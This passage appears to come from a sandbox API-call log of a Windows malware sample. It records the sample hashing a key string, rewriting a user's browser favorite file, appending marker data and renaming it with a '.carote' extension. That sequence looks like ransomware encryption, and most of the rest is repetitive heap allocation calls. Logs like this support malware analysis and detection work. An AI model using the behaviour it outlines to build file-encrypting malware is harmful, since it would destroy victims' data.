dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.899] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url") returned=".url" [0112.899] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.900] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=133) returned 1 [0112.900] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.902] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.902] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.903] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.903] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.903] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.903] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x85, lpOverlapped=0x0) returned 1 [0112.903] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.903] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.903] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.903] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.903] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.904] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.904] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.904] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.904] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.904] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.904] GetLastError () returned 0x0 [0112.904] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.904] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.904] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.904] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0112.904] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.904] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.904] WriteFile (in: hFile=0x61c, lpBuffer=0x7a3f060*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7a3f060*, lpNumberOfBytesWritten=0x825fb24*=0x80, lpOverlapped=0x0) returned 1 [0112.904] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0112.904] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.904] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.904] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.904] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.904] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.904] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.905] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.905] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.905] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.905] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.905] CloseHandle (hObject=0x61c) returned 1 [0112.905] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0112.905] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8a0) returned 0x7b182e0 [0112.905] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0112.906] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url.carote")) returned 1 [0112.907] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.907] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.908] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0112.908] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0112.908] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0112.908] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0112.908] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a489c0 | out: hHeap=0x5010000) returned 1 [0112.908] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.908] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a489c0 [0112.908] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.908] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.908] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.908] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.908] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.908] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.908] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.908] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.908] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.908] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.908] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.908] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.908] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.908] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.908] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.908] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.908] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.908] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.908] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.908] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.908] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.909] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.909] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.909] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.909] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.909] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.909] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.909] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0112.909] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.909] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.909] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.909] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.909] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.909] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.909] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.909] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.909] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.909] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.909] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.909] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.909] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.909] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.909] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.909] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.909] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.909] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.909] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.909] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.909] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.909] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.909] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.910] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.910] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.910] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.910] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.910] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.910] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.910] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.910] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.910] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.910] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.910] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.910] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.910] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.910] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.910] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.910] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.910] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.910] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.910] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.910] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.910] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.910] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.910] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.910] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.910] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.910] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.910] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.910] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.910] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.910] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.910] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.911] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.911] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.911] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0112.911] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.911] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.911] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.911] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.911] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.911] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.911] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.911] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.911] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.911] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.911] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.911] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.911] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.911] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.911] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.911] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.911] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.911] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.911] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0112.911] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.911] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.911] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.911] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.911] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.911] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.911] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.911] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.911] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.911] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.912] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.912] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.912] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.912] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.912] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.912] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.912] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.912] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.912] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.912] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.912] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.912] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.912] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.912] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.912] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.912] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.912] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.912] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.912] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.912] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.912] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.912] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.912] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.912] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.912] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.912] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.912] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.912] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.912] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.912] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.912] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.912] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.912] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.913] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.913] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.913] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.913] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.913] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.913] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.913] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.913] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.913] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.913] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.913] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.913] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.913] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.913] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.913] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.913] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.913] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.913] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.913] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.913] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0112.913] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 